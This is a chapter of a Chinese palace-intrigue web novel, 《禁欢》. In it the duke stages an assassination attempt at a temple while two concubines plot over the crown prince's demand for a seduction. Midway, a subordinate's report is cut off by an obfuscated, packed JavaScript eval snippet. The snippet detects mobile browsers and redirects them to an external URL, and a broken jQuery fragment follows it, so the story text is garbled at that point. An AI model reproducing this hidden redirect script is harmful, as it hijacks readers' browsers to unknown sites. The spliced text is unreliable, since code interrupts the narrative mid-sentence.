28. 028

作品:《禁欢

    进了院子,门口的紫竹和玫香迎上来,那手下才走。


    两个丫鬟神色俱是惶恐。


    “姑娘,外面出了什么,怎么听着这么乱?”


    “连姑娘,这都快辰时了,我们姨娘怎么还没起来,奴婢想进去看看,紫竹总拦着。”


    绾筠压下两个丫鬟的急躁。


    “寺里来了刺客,外面应当已经抓到了,不过,你们暂时还是不要出去。”


    一听见是刺客,两个丫鬟神色大变,从来没经历过这事。


    得到两人连连应是,绾筠只道,“我进去看看安儿,你们也去屋里避避吧。”


    她不再等两丫鬟回应,进了房间,阖上门,特意在兰安儿帘缦外唤了一声,并没有得到回应。


    兰安儿还没有回来。绾筠坐在榻上,也不知道兰安儿会不会有危险,若是撞上这场刺杀就糟了。


    绾筠孤坐在榻上思忖,没了霍挚在旁干扰,绾筠忽然觉得药庐的这场刺杀有点不对劲。


    霍挚的准备是不是太充分了?


    就好像这场刺杀是一场请君入瓮。


    就在这时,后窗忽而传来推动声,绾筠一惊直起身,小步靠近,听见兰安儿小声的招呼。


    绾筠松了一口气,快步到窗前,后窗有些高,兰安儿离后窗只能露出半颗脑袋。


    “快,拉我一下。我上不来。”


    绾筠将后窗撑到最大,双手拽她胳膊,两人一拉一攀,废了好大的功夫,兰安儿才爬了进来。


    一番动作后,两人都失了力气,但兰安儿显然精神紧绷着,才落地,就爬起来,一把从窗外又捞着了一个包裹。


    只是当绾筠目光落下时,她就紧张往怀里一揽。


    她话语带颤地解释,“这是我出去换得便装,不能被发现。”


    绾筠理解,便问“你此行出去可得到什么消息?”


    兰安儿迟疑片刻,抓住绾筠的手腕,“太子让你去引诱国公爷。”


    “什么?!”


    *


    “什么?!”继夫人手里的碗脱落砸地,她不可置信又叠着惊慌倏然站起,“国公爷遇刺!怎么样,伤得严重吗?”


    两边丫鬟急着给她清理撒落在她衣摆上的汤水,继夫人只觉烦扰,直接推开,逼问那惶恐报信的下人,“快说!”


    下人惊惧至极,“刘统领不肯说,可是奴才远远瞧着,那绷带从国公爷颈上缠到胸口,血浸染着衣裳,怕是受伤不轻。”


    霎那间,继夫人倒吸一口凉气,险些惊惧晕厥过去。


    被沐雨汐扶住,她神色上满是焦躁,“母亲,我们快去看看国公爷。”


    “对,对。”继夫人这才醒神,也不在乎沐雨汐逾越,招呼着嬷嬷,“赶紧的,我们赶紧去看国公爷,这若是出事,咱们国公府的天可是要塌了。”


    她带着一群人匆匆赶到国公爷院子,在门口就见下人躬着身子端出一盆鲜血浸染的水,吓得继夫人当场软了,嬷嬷连忙扶着,沐雨汐直接冲了进去。


    “恒钺大哥!”


    但她还没进内间,就被外面同样惊慌的佑二爷拉住了。


    “你这么冲进去,是要做什么?”


    “大哥在换药呢。”


    被佑二爷一拦,沐雨汐只能焦虑地踮脚越过佑二爷肩头向里看,但屏风阻隔了视线,什么都看不见。


    继夫人稍缓,被扶进来,她拉着佑二爷便问,“国公爷重伤?”


    佑二爷其实没瞧见伤口,可是那大片大片的染血绷带,他绝不认为是小伤,便沉重地点点头。


    继夫人连连确认,这一口气惊惧到差点上不来,好在这时屋内传来国公爷的声音,听起来几分虚弱,“二弟莫要胡说,这点刺杀,还不至于把爷如何。”


    这时便见内间下人扶着国公爷绕过屏风出来,霍挚的脸色看起来有些苍白,虽换去了沾血的衣袍,可是颈部溢出的鲜血在明晃晃反驳他的话。


    但瞧着国公爷还能走动,性命尚无忧虑,继夫人松了一口气。


    霍挚倚坐在正榻一侧,他少有这般虚弱的样子,佑二爷跟上前,“大哥,你虚弱成这般样子,那刺客的刀若是再偏一分,怕是真就划开你的脖子……”佑二爷说完大概知道这话说得不吉利,连忙端起肃然神色,“大哥,究竟是什么人派来刺杀你。”


    霍挚没有回答,只向旁侧下人施了眼色,下人立马让人上前。


    便见一手下呈递着两样的东西,“主子,这是从刺客身上搜出来的东西。”是一个令牌,还有一粒毒丸。


    佑二爷只看了一眼,瞧那令牌便脸色大变。


    “怎么会?”


    “佑二爷知道是谁派的?”沐雨汐越过众人追问。


    佑二爷一时竟不知怎么开口,对上霍挚目光,“大哥,太子已经是庶人了,怎么可能还有手段派死士来刺杀你。再说,太子罢黜一事,是三皇子所为,废太子应当去找三皇子才对。莫不是……三皇子?”


    那令牌佑二爷认出是废太子手下。


    谁都知道如今朝廷太子被废,唯三皇子权势为首,但皇子之外,还有一人权势无人可及。


    太子已废,对于三皇子的威胁,便落到戎国公府。


    继夫人大惊,连说着不可能,还说,“国公爷上月回来,便是三皇子亲自相送。三皇子品行高洁,怎会作如此嫁祸手段。”


    霍挚神色不变,只挥手让手下下去。


    他慢悠悠道,“既然可能暗中有阴谋,这事必要奏明圣上,佑二爷,赶在你外派前,便替为兄写一本奏疏详细上书陛下吧,为兄需要养伤几日,不易多思。”


    佑二爷本想直接应下,可听霍挚又一次提起外派事,他腆着脸恳求,“大哥,你现在受伤了,国公府还要人顶着,我暂时不用外派了吧。”


    霍挚看了他一眼,“国公府何时是你顶着了,你若是不写,那还是为兄亲自动笔。”


    “不不不,大哥,我写,我立马写。”佑二爷毫无办法,只能认命。


    继夫人在旁试探,“国公爷伤重,不若即刻回国公府养伤。”


    “不用。”霍挚目光转向她,“我在郊外别院休养更佳,这几日广慈寺混乱,你们也不用待在这了,尽早回府。”


    继夫人刚要开口应下,沐雨汐抢着话,“大哥,我留下侍奉你养伤。”


    继夫人错愕,低声斥沐雨汐没规矩,转身便想向霍挚致歉。


    霍挚目光落在沐雨汐身上,神色微冷,“二小姐,凭什么身份这般提议。”


    这般直白而轻蔑,沐雨汐登时浑身一冷,张嘴“我”了许久都没有说完整。


    继夫人早知便有这一遭,又愤怒又惊惧,只畏缩向霍挚致歉,转而拉着沐雨汐就走。


    佑二爷自知自己不该再留,尴尬笑笑,紧跟着继夫人走了。


    正屋里除了霍挚手下,没有外人,霍挚周身虚弱之感尽退,他直身坐在正榻,手下躬身靠近,恭敬禀报


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132261|164407||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,“主子,一切都安排好了。”


    霍挚勾了勾嘴角,笑意不达眼底,“三皇子……皇帝……呵。”


    *


    寺庙小院,丫鬟来报。


    “继夫人说,让两位姨娘准备准备,未时初就动身回国公府。”


    彼时,绾筠还在与兰安儿交谈带回来的信息,闻言俱是惊讶。


    兰安儿暗按了绾筠手掌,示意“这是机会”。


    绾筠心慌,强作镇定,便让丫鬟“仔细说说。”


    丫鬟还带着惶恐,“奴婢只知国公爷受了重伤,说广慈寺不安全,让一应家眷尽早回去。”


    “国公爷重伤?”兰安儿瞪大眼睛。


    绾筠一怔,心想果然外面的刺客还是伤到了国公爷。


    “是,说是半身都是血。”丫鬟也是听人说的,人传人,话传话,伤情变得愈加严重。


    丫鬟说完,再无可说。


    绾筠正要让她下去,兰安儿又紧赶着问,“那国公爷可回?”


    丫鬟哪知道国公爷的行踪,只讷讷不回答。


    丫鬟下去后,兰安儿在房中来回踱步,而后说道,“国公爷重伤,十有八九也要回府养伤,绾筠,这是机会。我记得你新搬的月留阁离正院可近了。”


    “是吗?”绾筠心不在焉。


    如果说当初被太子送入戎国公府二房勾引戎侍郎,一是被太子权势所迫,二是……其实是她也想接近戎侍郎,这是自母亲死后她一直压抑在心里的噩梦,当年,若不是……若不是……


    “绾筠,你怎么了?”兰安儿见绾筠脸色不对。


    绾筠回过神,便听她又劝,“你别怕,对于我们来说,左右勾引谁都是一样的。”


    不行的。绾筠在心里自语着,她不要再作玩物,用身体去勾引另一个毫不相干的权贵了,前有霍挚,后……后不能再牵扯他人了。


    她得想办法,或者……不回府?


    尚未到时辰,继夫人又派丫鬟来寻她们,绾筠心中一动,说不定真得不用回府了。


    果然,到了继夫人处,便听她说。


    “此番来为老夫人祈福,虽说遭遇刺杀不得已回去,可老夫人的福却落了,终究是不妥,还是再劳烦两位姨娘继续留下,完成祈福再走。”


    继夫人的突然变卦,让兰安儿神色大变,本来斗志昂扬只以为是天意,现在继夫人忽然浇了她一头冷水,她如何都忍不住,不顾规矩顶撞道,“夫人,这是什么意思,明知广慈寺最近有危险,却把我们两留下,是存心让那些刺客杀了我们吧。”


    她的话直白到让继夫人同立场的众人脸色都不好看。


    继夫人身边嬷嬷便直接斥道,“兰姨娘,你放肆,夫人带你们出来为老夫人祈福,是天大的恩典,即便遇上此刻,现在刺客都已被国公爷拿下,夫人将祈福的机会交给你们,你们不感恩戴德,反而顶撞辱骂夫人,简直翻了天。”


    “我如何放肆了,还不是你欺人……”


    绾筠拦下兰安儿,以退为进。


    “夫人息怒,我们也是为夫人考虑,祈福之事整个丰都都已知晓,临时取消,确实惹人闲语。但夫人是我等之首,仅自己回府,留我们于此,也同样会招闲语。”


    “就是。”兰安儿在侧后附和,“夫人总不想成为整个丰都的谈资吧。”


    “左右都是谈资。”继夫人颇显淡然,“你莫不是还有折中?”


    绾筠说,“妾愿意留在广慈寺。”